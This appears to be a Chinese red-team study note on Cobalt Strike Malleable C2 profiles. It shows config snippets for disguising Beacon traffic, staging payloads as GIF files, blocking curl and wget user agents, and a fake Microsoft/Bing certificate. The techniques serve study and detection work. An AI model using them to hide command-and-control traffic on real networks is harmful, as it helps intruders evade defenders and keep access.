郑重声明：
本笔记编写目的只用于安全知识提升，并与更多人共享安全知识，切勿使用笔记中的技术进行违法活动，利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责，共同维护网络文明和谐。

Malleable C2 是 Cobalt Strike 的一项功能, 意为 “可定制的” 的 C2 服务器。Malleable C2 允许通过修改c2配置文件，改变 Beacon 与 C2 通信时的流量特征与行为，伪造正常的通信的流量，实现一些 IDS 入侵检测防火墙的绕过。

1 Malleable-C2-Profiles 简单使用

1. 下载 Malleable-C2-Profiles

   rsmudge/Malleable-C2-Profiles: Malleable C2 is a domain specific language to redefine indicators in Beacon’s communication. This repository is a collection of Malleable C2 profiles that you may use. These profiles work with Cobalt Strike 3.x. (github.com)

   threatexpress/malleable-c2: Cobalt Strike Malleable C2 Design and Reference Guide (github.com)

2. 调用 Malleable-C2-Profiles

   # ./teamserver [external IP] [password] [/path/to/my.profile]
   ./teamserver 192.168.0.2 qweasd malleable-c2/jquery-c2.4.0.profile
   

3. 验证配置文件

   ./c2lint [/path/to/my.profile]
   

2 配置文件简析

2.1 配置文件结构

# this is a comment
set global_option "value";protocol-transaction {set local_option "value";client {# customize client indicators}server {# customize server indicators}
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-53gE9o3m-1643119046431)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115120001682.png)]

2.2 配置文件文句

# 以 http-get 配置部分举例：
http-get {set uri "/foobar";client {metadata {base64;prepend "user=";header "Cookie";}
}

2.2.1 定义Beacon客户端发送的元数据

当客户端(Beacon payload)回连TeamServer时，它会发送关于自身的元数据给 Cobalt Strike。配置文件中，我们必须定义如何编码此元数据和如何使用我们的 HTTP GET 请求发送元数据：

序号	处理步骤	作用	数据
0	Start		metadata
1	base64	Base64 编码数据	bWV0YWRhdGE=
2	prepend “user=”	在数据前添加"user="字符串	user=bWV0YWRhdGE=
3	header “Cookie”	转换后的元数据存储在Cookie的客户端 HTTP 头中

2.2.2 定义 Beacon 服务器提取元数据

假设我们的 Cobalt Strike 的 web 服务器收到了获取 URI
/foobar 的 GET 请求，需要提取元数据：

序号	处理步骤	作用	数据
0	Start
1	header “Cookie”	恢复存储在Cookie的客户端 HTTP 头中的数据	user=bWV0YWRhdGE=
2	prepend “user=”	移除客户端添加的"user="字符串	bWV0YWRhdGE=
3	base64	Base64 解码数据	metadata

2.2.3 数据转换语言

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nxdoArpC-1643119046432)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115132058565.png)]

2.2.4 终止语句

数据转换始以终止语句结束。在一个数据转换中只能使用一个终止语句。这个语句告诉 Beacon 和它的服务器在哪里存储转换后的数据。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o6w0luIi-1643119046433)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115132207189.png)]

2.2.5 特殊字符串

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fhUdm2Jc-1643119046433)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115132912415.png)]

2.2.6 Headers 和 Parameters

添加额外信息到 beacon 中进行交互通信，解释器会按顺序解释你的 header 语句和 parameter 语句。格式如下：

# 强制 Beacon 在发出请求时向 /foobar URI 添加 bar=blah 参数。
http-get {client {parameter "bar" "blah";# 添加一个header来让迷惑网络安全监控团队。此地无银。
http-get {server {header "X-Not-Malware" "I promise!";

2.2.7 参数选项

sleeptime：设置心跳包时间，单位为毫秒
jitter：默认的抖动因子（0-99%）
maxdns：通过DNS上传数据时的主机名最大长度（0-255）
uri:指定多个URI要以空格分隔。URI大小写敏感。Cobalt Strike在检入时将为每个主机随机分配URI。http-get和http-post之间的URL不能相同 ，所有URI必须唯一。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HzOmN1eg-1643119046434)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115134312310.png)]

2.2.8 HTTP Staging

Beacon 是一个分阶段的 payload。这意味着 payload 被一个 stager 下载然后注入到内存中。使用C2 的 http-stager 自定义 HTTP staging 过程。

# uri_x86 选项设置用于下载 x86 payload stage 的 URI。
# uri_x64 选项设置用于下载 x64 payload stage 的 URI。
http-stager {set uri_x86 "/get32.gif";set uri_x64 "/get64.gif";# client 关键字定义 HTTP 事务的客户端。# 使用 parameter 关键字来给 URI 增加一个参数。# 使用 header 关键字来给 stager 的 HTTP GET 请求增加一个头字段。client {parameter "id" "1234";header "Cookie" "SomeValue";}# server 关键字定义 HTTP 事务的服务器端。# header 关键字给服务器的响应增加一个服务器头字段。# output 关键字是一个改变 payload stage 的数据转换。这个数据转换可能仅仅是在 stage 之前添加字符串或给 stage 增加字符串。使用 print 终止语句来关闭这个输出语句块。server {header "Content-Type" "image/gif";output {prepend "GIF89a";print;}}
}

2.2.9 HTTP 服务器配置

http-config {set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";header "Server" "Apache";header "Keep-Alive" "timeout=5, max=100";header "Connection" "Keep-Alive”;set trust_x_forwarded_for "true";set block_useragents "curl*,lynx*,wget*";
}# set headers：指定 HTTP 头字段在 HTTP 响应中传递的顺序，不在列表中的 HTTP 头会被添加到末尾。
# header：在 HTTP 响应中添加 HTTP 头，如果头的值已经在响应包中存在，则忽略该值。
# set trust_x_forwarded_for：决定 Cobalt Strike 是否使用 X-Forwarded-For HTTP 头来确定请求的远程地址。如果你的 Cobalt Strike 服务器在一个 HTTP 重定向器后，请使用此选项。
# set block_useragents：配置一个阻止或回复404的 UA 列表。默认阻止 curl, lynx, wget，具体见下图。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9l5nizgU-1643119046434)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115141241986.png)]

2.2.10 自签名 SSL 证书

https-certificate {set CN       "www.bing.com";set O        "Microsoft Corporation";set C        "US";set L        "Redmond";set OU       "Microsoft IT";set ST       "WA";set validity "365";
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t3Pof7iN-1643119046435)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115141832251.png)]

2.2.11 有效的 Beacon SSL 证书

https-certificate {set keystore "domain.store";set password "mypassword";
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HnA7IEYq-1643119046435)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115142129665.png)]

制作有效的Beacon SSL 证书步骤

1. 创建一个 Java Keystore文件

   keytool -genkey -keyalg RSA -keysize 2048 -keystore domain.store
   

2. 生成 Certificate Signing Request (CSR)，将生成的文件提交给你的 SSL 证书供应商，他们将验证你的身份并颁发证书

   $ keytool -certreq -keyalg RSA -file domain.csr -keystore domain.store
   

3. 导入SSL 厂商提供你的 Root 和其他中间证书

   $ keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore domain.store
   

4. 安装域名证书

   $ keytool -import -trustcacerts -alias mykey -file domain.crt -keystore domain.store
   

3 流量分析

未经伪造的流量：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0JedWVxd-1643119046435)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115155157005.png)]

经过伪造的流量：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Qut2Ov0J-1643119046436)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20220115151038883.png)]